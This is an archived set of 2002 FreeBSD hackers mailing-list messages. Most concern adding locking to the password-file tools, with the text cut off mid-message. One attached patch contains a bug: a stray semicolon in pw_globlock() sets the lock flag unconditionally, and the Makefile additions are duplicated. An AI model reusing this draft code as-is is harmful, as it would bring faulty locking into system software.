User-Agent: Mutt/1.4i-fullermd.1 X-Editor: vi X-OS: FreeBSD Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Jun 23, 2002 at 09:59:10AM -0700 I heard the voice of Paul Herman, and lo! it spake thus: > > I can't imagine it would be too extensive of a rewrite. The temp > file code could be kept, and in fileupd.c:fileupdate() instead of > rename("/etc/master.passwd.new", "/etc/master.passwd"), it just > copies the contents of the .new file into the original file (that > has the O_EXLOCK.) Yes, but that would open up the problem that cause the rename(2) to be used in the first place; i.e., rename() is atomic; read(2)/write(2)'ing a bunch of data isn't, so a system crash at the wrong time would leave you with a partial master.passwd. It wouldn't be the end of the world, of course, since you'd still have the [s]pwd.db, so you could login, and you'd have the master.passwd.new, so you could recover, but you'd have to notice it and catch it before pw(8) or friends ran again. rename(2)'s guarantee is what saves you there. From the manpage: int rename(const char *from, const char *to); [...] Rename() guarantees that if to already exists, an instance of to will always exist, even if the system should crash in the middle of the opera- tion. -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Systems/Network Administrator | http://www.over-yonder.net/~fullermd/ "The only reason I'm burning my candle at both ends, is because I haven't figured out how to light the middle yet" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 10:30:29 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from nothing-going-on.demon.co.uk (pc-62-31-42-140-hy.blueyonder.co.uk [62.31.42.140]) by hub.freebsd.org (Postfix) with ESMTP id 3128437B405; Sun, 23 Jun 2002 10:30:20 -0700 (PDT) Received: (from nik@localhost) by nothing-going-on.demon.co.uk (8.11.6/8.11.6) id g5NHJpr59484; Sun, 23 Jun 2002 18:19:51 +0100 (BST) (envelope-from nik) Date: Sun, 23 Jun 2002 18:19:51 +0100 From: Nik Clayton To: Giorgos Keramidas Cc: hackers@FreeBSD.org Subject: Re: Limiting clients per source IP address (ftpd, inetd, etc.) Message-ID: <20020623181950.A42156@clan.nothing-going-on.org> References: <20020621000924.GA2178@hades.hell.gr> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="1yeeQ81UyVL57Vl7" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020621000924.GA2178@hades.hell.gr>; from keramida@FreeBSD.org on Fri, Jun 21, 2002 at 03:09:25AM +0300 Organization: FreeBSD Project Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --1yeeQ81UyVL57Vl7 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Jun 21, 2002 at 03:09:25AM +0300, Giorgos Keramidas wrote: > I've been thinking for quite some time to add per-client-IP limiting > to ftpd,=20 I needed to do this. Then I discovered that ipfw's "limit" directive lets you limit the number of incoming connections, which proved much more powerful. N --=20 FreeBSD: The Power to Serve http://www.freebsd.org/ (__) FreeBSD Documentation Project http://www.freebsd.org/docproj/ \\\'',) \/ \= ^ --- 15B8 3FFC DDB4 34B0 AA5F 94B7 93A8 0764 2C37 E375 --- .\._/= _) --1yeeQ81UyVL57Vl7 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj0WAzYACgkQk6gHZCw343VJWACghwwQ4jWJ0R2CDn7kl6j0Tk79 0TEAnRyBNndOqkimXGMubcT1w+T0RTDF =Ez8/ -----END PGP SIGNATURE----- --1yeeQ81UyVL57Vl7-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 10:42:51 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from iguana.icir.org (iguana.icir.org [192.150.187.36]) by hub.freebsd.org (Postfix) with ESMTP id D708B37B400; Sun, 23 Jun 2002 10:42:43 -0700 (PDT) Received: (from rizzo@localhost) by iguana.icir.org (8.11.6/8.11.3) id g5NHghB05915; Sun, 23 Jun 2002 10:42:43 -0700 (PDT) (envelope-from rizzo) Date: Sun, 23 Jun 2002 10:42:43 -0700 From: Luigi Rizzo To: Nik Clayton Cc: Giorgos Keramidas , hackers@FreeBSD.ORG Subject: Re: Limiting clients per source IP address (ftpd, inetd, etc.) Message-ID: <20020623104243.A5734@iguana.icir.org> References: <20020621000924.GA2178@hades.hell.gr> <20020623181950.A42156@clan.nothing-going-on.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020623181950.A42156@clan.nothing-going-on.org>; from nik@FreeBSD.ORG on Sun, Jun 23, 2002 at 06:19:51PM +0100 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Jun 23, 2002 at 06:19:51PM +0100, Nik Clayton wrote: > On Fri, Jun 21, 2002 at 03:09:25AM +0300, Giorgos Keramidas wrote: > > I've been thinking for quite some time to add per-client-IP limiting > > to ftpd, > > I needed to do this. > > Then I discovered that ipfw's "limit" directive lets you limit the > number of incoming connections, which proved much more powerful. the funny thing is that when i implemented it i thought it was completely useless :) As a matter of fact, I still think that, at least for resource management purposes. It may have its good use for protection against denial-of-service attacks though. cheers luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 11:18:10 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from utility.clubscholarship.com (utility.clubscholarship.com [198.78.70.175]) by hub.freebsd.org (Postfix) with ESMTP id 6AD5837B404 for ; Sun, 23 Jun 2002 11:18:06 -0700 (PDT) Received: from localhost (root@localhost) by utility.clubscholarship.com (8.11.6/8.11.6) with ESMTP id g5NIDoP16843; Sun, 23 Jun 2002 11:14:06 -0700 (PDT) (envelope-from root@utility.clubscholarship.com) Date: Sun, 23 Jun 2002 11:13:50 -0700 (PDT) From: Patrick Thomas To: Terry Lambert Cc: Joshua Lee , Subject: Re: inuring FreeBSD to the apache bug without upgrading apache ? In-Reply-To: <3D15BBE1.83E4DCF7@mindspring.com> Message-ID: <20020623111107.F68572-100000@utility.clubscholarship.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Yeah; this whole thread is premised on working around the > problem without an Apache software change. It's a reasonable > premise (IMO) -- if you've got a custom compilation and a lot > of modules, that can end up being a lot of software. I build > a PHP4+SSL+Apache+IMAP+etc. source tree at one point, and it > ended up being ~1.2 million lines of code, all told, that had > to be made to work together. If you had "just built it", then > it would be very hard to update just one component without > repeating the whole process. My advice? Use CVS. Actually, this whole thread is premised on I have a dev system with 16 jailed apaches and it would be a pain to upgrade all 16 of them vs. just making one global kernel/environment change. It sounds like that is probably a pipe dream though.. --PT To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 11:19:47 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hotmail.com (f167.law14.hotmail.com [64.4.21.167]) by hub.freebsd.org (Postfix) with ESMTP id A783537B401 for ; Sun, 23 Jun 2002 11:19:43 -0700 (PDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 23 Jun 2002 11:19:43 -0700 Received: from 194.177.210.228 by lw14fd.law14.hotmail.msn.com with HTTP; Sun, 23 Jun 2002 18:19:43 GMT X-Originating-IP: [194.177.210.228] From: "Jefferson Harlough" To: hackers@FreeBSD.ORG Subject: FreeBSD 2.2.x ISO images. Date: Sun, 23 Jun 2002 18:19:43 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 23 Jun 2002 18:19:43.0544 (UTC) FILETIME=[8C1D0B80:01C21AE2] Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Where might I find ISO images for the FreeBSD 2.2.x releases? Do such files exist? I have an older system with a non-IDE Creative CD-ROM drive, and FreeBSD 4.x seems to not support that drive any more. I do have several FreeBSD 3.x releases, but they always hang with a kernel panic when booting via the included bootdisks. Would the FreeBSD 2.2.x series of releases work with such a CD-ROM drive? Thanks, Jefferson H. _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 11:32:18 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from natto.numachi.com (natto.numachi.com [198.175.254.216]) by hub.freebsd.org (Postfix) with SMTP id BA3A237B447 for ; Sun, 23 Jun 2002 11:31:57 -0700 (PDT) Received: (qmail 4424 invoked by uid 1001); 23 Jun 2002 18:31:48 -0000 Date: Sun, 23 Jun 2002 14:31:48 -0400 From: Brian Reichert To: Jefferson Harlough Cc: hackers@FreeBSD.ORG Subject: Re: FreeBSD 2.2.x ISO images. Message-ID: <20020623143148.A666@numachi.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from xx_jayrod_x@hotmail.com on Sun, Jun 23, 2002 at 06:19:43PM +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Jun 23, 2002 at 06:19:43PM +0000, Jefferson Harlough wrote: > Where might I find ISO images for the FreeBSD 2.2.x releases? Do such > files exist? I have 2.1-RELEASE, on up, all on CD. Would those filesystems help? > Thanks, > Jefferson H. -- Brian 'you Bastard' Reichert 37 Crystal Ave. #303 Daytime number: (603) 434-6842 Derry NH 03038-1713 USA Intel architecture: the left-hand path To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 11:34:26 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.deltanet.com (mail.deltanet.com [216.237.144.132]) by hub.freebsd.org (Postfix) with ESMTP id 8D49137B400 for ; Sun, 23 Jun 2002 11:34:19 -0700 (PDT) Received: from mammoth.eat.frenchfries.net (da001d0437.lax-ca.osd.concentric.net [64.0.145.182]) by mail.deltanet.com (8.11.6/8.11.6) with ESMTP id g5NIABO17525 for ; Sun, 23 Jun 2002 11:10:13 -0700 Received: by mammoth.eat.frenchfries.net (Postfix, from userid 1000) id 6CB7B5183; Sun, 23 Jun 2002 11:32:54 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by mammoth.eat.frenchfries.net (Postfix) with ESMTP id 69EC75159; Sun, 23 Jun 2002 11:32:54 -0700 (PDT) Date: Sun, 23 Jun 2002 11:32:54 -0700 (PDT) From: Paul Herman X-X-Sender: pherman@mammoth.eat.frenchfries.net To: "Matthew D. Fuller" Cc: "Geoffrey C. Speicher" , Subject: Re: bug in pw, -STABLE [patch] In-Reply-To: <20020623170452.GG81018@over-yonder.net> Message-ID: <20020623111412.V38509-100000@mammoth.eat.frenchfries.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 23 Jun 2002, Matthew D. Fuller wrote: > On Sun, Jun 23, 2002 at 09:59:10AM -0700 I heard the voice of > Paul Herman, and lo! it spake thus: > > > > I can't imagine it would be too extensive of a rewrite. The temp > > file code could be kept, and in fileupd.c:fileupdate() instead of > > rename("/etc/master.passwd.new", "/etc/master.passwd"), it just > > copies the contents of the .new file into the original file (that > > has the O_EXLOCK.) > > Yes, but that would open up the problem that cause the rename(2) to be > used in the first place; i.e., rename() is atomic; read(2)/write(2)'ing a > bunch of data isn't, so a system crash at the wrong time would leave you > with a partial master.passwd. Fine, then lock them both, and use rename(). Patch attached. In fact, if you look at fileupdate(), you see that it already gains an exclusive lock on the temp file, but not the original "/etc/master.passwd" (if you will.) I think this is a bug, because the original is getting modified (at least in name space), so that should be locked while pw(8) is operating. What do you think? -Paul. Index: fileupd.c =================================================================== RCS file: /u02/ncvs/src/usr.sbin/pw/fileupd.c,v retrieving revision 1.9 diff -u -r1.9 fileupd.c --- fileupd.c 26 Oct 1999 04:27:13 -0000 1.9 +++ fileupd.c 23 Jun 2002 18:30:16 -0000 @@ -76,7 +76,7 @@ if (pfxlen <= 1) rc = EINVAL; else { - int infd = open(filename, O_RDWR | O_CREAT, fmode); + int infd = open(filename, O_RDWR | O_CREAT | O_EXLOCK | O_NONBLOCK, fmode); if (infd == -1) rc = errno; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 11:51:21 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from utility.clubscholarship.com (utility.clubscholarship.com [198.78.70.175]) by hub.freebsd.org (Postfix) with ESMTP id 07EB637B413 for ; Sun, 23 Jun 2002 11:51:17 -0700 (PDT) Received: from localhost (root@localhost) by utility.clubscholarship.com (8.11.6/8.11.6) with ESMTP id g5NIlRH18003; Sun, 23 Jun 2002 11:47:27 -0700 (PDT) (envelope-from root@utility.clubscholarship.com) Date: Sun, 23 Jun 2002 11:47:27 -0700 (PDT) From: Patrick Thomas To: Terry Lambert Cc: Nielsen , Subject: Re: (jail) problem and a (possible) solution ? In-Reply-To: <3D15BA9F.4AB35302@mindspring.com> Message-ID: <20020623114503.W68572-100000@utility.clubscholarship.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > jump in and try it, I want to confirm what I believe to understand, I need > > to set the KVA value in my kernel config _and_ edit those other two files > > in the kernel source, then just recompile my kernel. > > > > Sound like I'm on the right track ? > > Yes. That's the way to do it for 4.5, specifically. Because I am paranoid, I like to check the state of a measurement before making a change and then after, to see that what I did did indeed induce a change ... I have this irrational fear that sometimes I make changes like this and nothing in fact changed, and I just don't know it :) So, should I just look for the value of: vm.zone_kmem_kvaspace: 179691520 to increase in size even though the physical RAM stays the same at 3gigs, or is there some other measurement I should look at before and after the KVA increase to ensure that it worked (and yes, I know that if it doesn't work I probably will have an inoperable machine, but just out of curiousity...) thanks, PT To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 11:58:59 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hardtime.linuxman.net (hardtime.linuxman.net [66.147.26.65]) by hub.freebsd.org (Postfix) with ESMTP id 6E36337B403 for ; Sun, 23 Jun 2002 11:58:44 -0700 (PDT) Received: from mortis.over-yonder.net (localhost [127.0.0.1]) by hardtime.linuxman.net (8.11.6/8.11.6) with ESMTP id g5NI4LB00349; Sun, 23 Jun 2002 13:04:21 -0500 Received: by mortis.over-yonder.net (Postfix, from userid 100) id 8CAD81F05; Sun, 23 Jun 2002 13:58:40 -0500 (CDT) Date: Sun, 23 Jun 2002 13:58:40 -0500 From: "Matthew D. Fuller" To: "Geoffrey C. Speicher" Cc: freebsd-hackers@freebsd.org, Matt Simerson , Paul Herman , Oliver Fromme Subject: Re: Locking the passwd subsystem (was Re: bug in pw, -STABLE [patch]) Message-ID: <20020623185840.GI81018@over-yonder.net> References: <20020623135441.GC81018@over-yonder.net> <20020623105835.E29860-300000@sea-incorporated.com> <20020623165602.GF81018@over-yonder.net> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="Sr1nOIr3CvdE5hEN" Content-Disposition: inline In-Reply-To: <20020623165602.GF81018@over-yonder.net> User-Agent: Mutt/1.4i-fullermd.1 X-Editor: vi X-OS: FreeBSD Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --Sr1nOIr3CvdE5hEN Content-Type: text/plain; charset=us-ascii Content-Disposition: inline And here's a run at Stage 2. This adapts a subset of programs to use the pid_*() locking supplied. The attached patch updates: , libutil (libutil.h and pw_util.c), chpass (chpass.c), pw (pw.c), pwd_mkdb (Makefile, pwd_mkdb.8, pwd_mkdb.c), vipw (vipw.c). This does NOT include passwd(1), since that does its dirty work in PAM, which I definately don't feel like delving into. Note that this patch MAY be a little off when applied over the previous patch; I'm working on them in seperate trees, to try and keep the stages discrete. But a little manual fiddling should get them reconciled in short order. -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Systems/Network Administrator | http://www.over-yonder.net/~fullermd/ "The only reason I'm burning my candle at both ends, is because I haven't figured out how to light the middle yet" --Sr1nOIr3CvdE5hEN Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=diffs Index: include/pwd.h =================================================================== RCS file: /usr/cvs/src/include/pwd.h,v retrieving revision 1.12 diff -u -r1.12 pwd.h --- include/pwd.h 9 Jun 2002 19:39:18 -0000 1.12 +++ include/pwd.h 23 Jun 2002 18:16:21 -0000 @@ -66,6 +66,9 @@ #define _PATH_MASTERPASSWD "/etc/master.passwd" #define _MASTERPASSWD "master.passwd" +#define _PATH_PWDLOCK "/var/run/pwd.lock" +#define _MODE_PWDLOCK (S_IRUSR | S_IWUSR) + #define _PATH_MP_DB "/etc/pwd.db" #define _MP_DB "pwd.db" #define _PATH_SMP_DB "/etc/spwd.db" Index: lib/libutil/libutil.h =================================================================== RCS file: /usr/cvs/src/lib/libutil/libutil.h,v retrieving revision 1.37 diff -u -r1.37 libutil.h --- lib/libutil/libutil.h 8 May 2002 00:50:07 -0000 1.37 +++ lib/libutil/libutil.h 23 Jun 2002 18:38:18 -0000 @@ -95,6 +95,8 @@ int pw_init(const char *_dir, const char *_master); char *pw_make(struct passwd *_pw); int pw_mkdb(const char *_user); +int pw_globlock(int); +int pw_globunlock(void); int pw_lock(void); struct passwd *pw_scan(const char *_line, int _flags); const char *pw_tempname(void); @@ -124,6 +126,9 @@ #define FPARSELN_UNESCCOMM 0x04 #define FPARSELN_UNESCREST 0x08 #define FPARSELN_UNESCALL 0x0f + +/* pw_globlock() */ +#define PW_NOBLOCK PID_NOBLOCK /* pw_scan() */ #define PWSCAN_MASTER 0x01 Index: lib/libutil/pw_util.c =================================================================== RCS file: /usr/cvs/src/lib/libutil/pw_util.c,v retrieving revision 1.25 diff -u -r1.25 pw_util.c --- lib/libutil/pw_util.c 8 May 2002 14:52:32 -0000 1.25 +++ lib/libutil/pw_util.c 23 Jun 2002 18:46:19 -0000 @@ -79,6 +79,7 @@ static char passwd_dir[PATH_MAX]; static char tempname[PATH_MAX]; static int initialized; +static int globlocked = 0; void pw_cont(int sig) @@ -163,6 +164,28 @@ } /* + * Lock the password subsystem globally. + */ +int +pw_globlock(int flags) +{ + int retval; + + if( (retval=pid_begin(_PATH_PWDLOCK, _MODE_PWDLOCK, flags)) == 0 ); + globlocked=1; + return(retval); +} + +/* + * Unlock the global lock + */ +int pw_globunlock(void) +{ + + return(pid_end(_PATH_PWDLOCK)); +} + +/* * Lock the master password file. */ int @@ -258,10 +281,10 @@ case 0: /* child */ if (user == NULL) - execl(_PATH_PWD_MKDB, "pwd_mkdb", "-p", + execl(_PATH_PWD_MKDB, "pwd_mkdb", "-p", "-n", "-d", passwd_dir, tempname, NULL); else - execl(_PATH_PWD_MKDB, "pwd_mkdb", "-p", + execl(_PATH_PWD_MKDB, "pwd_mkdb", "-p", "-n", "-d", passwd_dir, "-u", user, tempname, NULL); _exit(1); default: @@ -353,6 +376,11 @@ } if (lockfd != -1) close(lockfd); + if (globlocked != 0) + { + globlocked=0; + pid_end(_PATH_PWDLOCK); + } errno = serrno; } Index: usr.bin/chpass/chpass.c =================================================================== RCS file: /usr/cvs/src/usr.bin/chpass/chpass.c,v retrieving revision 1.23 diff -u -r1.23 chpass.c --- usr.bin/chpass/chpass.c 8 May 2002 00:54:28 -0000 1.23 +++ usr.bin/chpass/chpass.c 23 Jun 2002 18:42:25 -0000 @@ -258,6 +258,8 @@ case _PWF_FILES: if (pw_init(NULL, NULL)) err(1, "pw_init()"); + if (pw_globlock(PW_NOBLOCK) < 0) + err(1, "pw_globlock()"); if ((pfd = pw_lock()) == -1) { pw_fini(); err(1, "pw_lock()"); Index: usr.sbin/pw/pw.c =================================================================== RCS file: /usr/cvs/src/usr.sbin/pw/pw.c,v retrieving revision 1.26 diff -u -r1.26 pw.c --- usr.sbin/pw/pw.c 9 Jul 2001 09:24:01 -0000 1.26 +++ usr.sbin/pw/pw.c 23 Jun 2002 18:35:28 -0000 @@ -31,8 +31,10 @@ #include #include +#include #include #include +#include #include #include "pw.h" @@ -202,6 +204,12 @@ errx(EX_NOPERM, "you must be root to run this program"); /* + * Grab global lock before doing anything + */ + if(pid_begin(_PATH_PWDLOCK, _MODE_PWDLOCK, PID_NOBLOCK) < 0) + err(EX_UNAVAILABLE, "%s", _PATH_PWDLOCK); + + /* * We should immediately look for the -q 'quiet' switch so that we * don't bother with extraneous errors */ @@ -259,6 +267,10 @@ pw_log(cnf, mode, which, "NIS maps updated"); } } + + /* Release the lock */ + pid_end(_PATH_PWDLOCK); + return ch; } Index: usr.sbin/pwd_mkdb/Makefile =================================================================== RCS file: /usr/cvs/src/usr.sbin/pwd_mkdb/Makefile,v retrieving revision 1.8 diff -u -r1.8 Makefile --- usr.sbin/pwd_mkdb/Makefile 20 Jul 2001 06:20:15 -0000 1.8 +++ usr.sbin/pwd_mkdb/Makefile 23 Jun 2002 18:37:06 -0000 @@ -8,5 +8,9 @@ SRCS= pw_scan.c pwd_mkdb.c CFLAGS+= -I${.CURDIR}/../../lib/libc/gen # for pw_scan.h +DPADD= ${LIBUTIL} +LDADD= -lutil +LDADD= -lutil +DPADD= ${LIBUTIL} .include Index: usr.sbin/pwd_mkdb/pwd_mkdb.8 =================================================================== RCS file: /usr/cvs/src/usr.sbin/pwd_mkdb/pwd_mkdb.8,v retrieving revision 1.19 diff -u -r1.19 pwd_mkdb.8 --- usr.sbin/pwd_mkdb/pwd_mkdb.8 16 May 2002 02:28:35 -0000 1.19 +++ usr.sbin/pwd_mkdb/pwd_mkdb.8 23 Jun 2002 18:48:48 -0000 @@ -42,6 +42,7 @@ .Nm .Op Fl C .Op Fl N +.Op Fl n .Op Fl p .Op Fl d Ar directory .Op Fl s Ar cachesize @@ -76,6 +77,13 @@ to exit with an error if it cannot obtain a lock on the file. By default, we block waiting for a lock on the source file. The lock is held through the rebuilding of the database. +.It Fl n +Tell +.Nm +to not attempt to grab the auth subsystem lock. This is really intended +only to be used internally by programs such as +.Xr vipw 8 ; +use with caution. .It Fl p Create a Version 7 style password file and install it into .Pa /etc/passwd . Index: usr.sbin/pwd_mkdb/pwd_mkdb.c =================================================================== RCS file: /usr/cvs/src/usr.sbin/pwd_mkdb/pwd_mkdb.c,v retrieving revision 1.38 diff -u -r1.38 pwd_mkdb.c --- usr.sbin/pwd_mkdb/pwd_mkdb.c 9 Mar 2002 03:52:14 -0000 1.38 +++ usr.sbin/pwd_mkdb/pwd_mkdb.c 23 Jun 2002 18:38:01 -0000 @@ -59,6 +59,7 @@ #include #include #include +#include #include "pw_scan.h" @@ -111,6 +112,7 @@ u_int method, methoduid; int Cflag; int nblock = 0; + int nolock = 0; Cflag = 0; strcpy(prefix, _PATH_PWD); @@ -138,6 +140,9 @@ case 'N': /* do not wait for lock */ nblock = LOCK_NB; break; + case 'n': /* do not globlock */ + nolock = 1; + break; default: usage(); } @@ -178,6 +183,9 @@ if (!(fp = fopen(pname, "r"))) error(pname); + if (nolock != 1) + if(pw_globlock(PW_NOBLOCK) < 0) + error("pw_globlock"); if (flock(fileno(fp), LOCK_EX|nblock) < 0) error("flock"); if (fstat(fileno(fp), &st) < 0) @@ -484,6 +492,10 @@ */ if (fclose(fp) == EOF) error("close fp"); + + if (nolock != 1) + if(pw_globunlock() < 0) + error("pw_globunlock"); exit(0); } Index: usr.sbin/vipw/vipw.c =================================================================== RCS file: /usr/cvs/src/usr.sbin/vipw/vipw.c,v retrieving revision 1.13 diff -u -r1.13 vipw.c --- usr.sbin/vipw/vipw.c 8 May 2002 00:54:28 -0000 1.13 +++ usr.sbin/vipw/vipw.c 23 Jun 2002 18:40:50 -0000 @@ -96,6 +96,10 @@ pw_fini(); err(1, "pw_lock()"); } + if (pw_globlock(PW_NOBLOCK) < 0) { + pw_fini(); + err(1, "pw_globlock()"); + } if ((tfd = pw_tmp(pfd)) == -1) { pw_fini(); err(1, "pw_tmp()"); --Sr1nOIr3CvdE5hEN-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 12: 6:27 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mta7.pltn13.pbi.net (mta7.pltn13.pbi.net [64.164.98.8]) by hub.freebsd.org (Postfix) with ESMTP id 3D70837B411; Sun, 23 Jun 2002 12:05:51 -0700 (PDT) Received: from 3gwireless.com ([66.122.212.148]) by mta7.pltn13.pbi.net (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id <0GY600061A9QOG@mta7.pltn13.pbi.net>; Sun, 23 Jun 2002 12:05:38 -0700 (PDT) Date: Sun, 23 Jun 2002 12:09:31 -0700 From: 3Gwireless'2003 Subject: Call for Submission of 2003 World Wireless Congress (3Gwireless'2003) Message-id: <3D161CEA.EB3E6CE7@3gwireless.com> MIME-version: 1.0 X-Mailer: Mozilla 4.78 [en] (Win98; U) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT X-Accept-Language: en X-Priority: 2 (High) To: undisclosed-recipients:; Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG [Sorry for multiple copies of this message. Thanks for your support in promotion of education, research, development and business of emerging wireless communications] Dear Fellow Wireless Colleagues: 2002 World Wireless Congress (WWC02) - the official framework of 3Gwireless'2002 has been extremely successful and productive. To continue this great effort and expect much more authoritative in the next year, the 2003 World Wireless Congress (WWC03) will be a very big bang in helping set the standard of performance, innovation and quality of emerging wireless communications focusing on 3G and 4G mobile technologies and business. WWC'03 will continue to be the best global platform of industry-driven, academia-enriched, development-oriented and business-targeted, and demand very high standard of technical leadership as well as professional excellence. The Call-for-Submission (including technical papers, tutorials, industry forums, panels, etc) is available now at the congress website. The submission will be very busy in the coming months, and the space is very limited. Please act ASAP to submit your leadership and innovation as per the guidelines listed in the web. The website of 2003 World Wireless Congress (3Gwireless'2003) is at: http://wirelesscongress.com or http://3gwireless.com The very successful story of 2002 World Wireless Congress (3Gwireless'2002) is at: http://delson.org/wwc02 This congress at news can be found at: http://www.wirelessweek.com/index.asp?layout=story&articleId=CA220172&stt=001 For sponsorship or exhibition opportunities, please contact janny@delson.org. For technical leadership issues, please contact the chair at: wwlu@ieee.org Thank you for your time in advance. With best wishes! Office of 2003 World Wireless Congress http://wirelesscongress.com or http://3gwireless.com [This is only one-time educational message. Thanks for your support.] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 12:26:34 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from hardtime.linuxman.net (hardtime.linuxman.net [66.147.26.65]) by hub.freebsd.org (Postfix) with ESMTP id 96A2A37B415 for ; Sun, 23 Jun 2002 12:25:00 -0700 (PDT) Received: from mortis.over-yonder.net (localhost [127.0.0.1]) by hardtime.linuxman.net (8.11.6/8.11.6) with ESMTP id g5NIUeB00861; Sun, 23 Jun 2002 13:30:40 -0500 Received: by mortis.over-yonder.net (Postfix, from userid 100) id 140E71F06; Sun, 23 Jun 2002 14:24:58 -0500 (CDT) Date: Sun, 23 Jun 2002 14:24:57 -0500 From: "Matthew D. Fuller" To: Paul Herman Cc: "Geoffrey C. Speicher" , freebsd-hackers@FreeBSD.ORG Subject: Re: bug in pw, -STABLE [patch] Message-ID: <20020623192457.GJ81018@over-yonder.net> References: <20020623170452.GG81018@over-yonder.net> <20020623111412.V38509-100000@mammoth.eat.frenchfries.net> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="yudcn1FV7Hsu/q59" Content-Disposition: inline In-Reply-To: <20020623111412.V38509-100000@mammoth.eat.frenchfries.net> User-Agent: Mutt/1.4i-fullermd.1 X-Editor: vi X-OS: FreeBSD Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --yudcn1FV7Hsu/q59 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Sun, Jun 23, 2002 at 11:32:54AM -0700 I heard the voice of Paul Herman, and lo! it 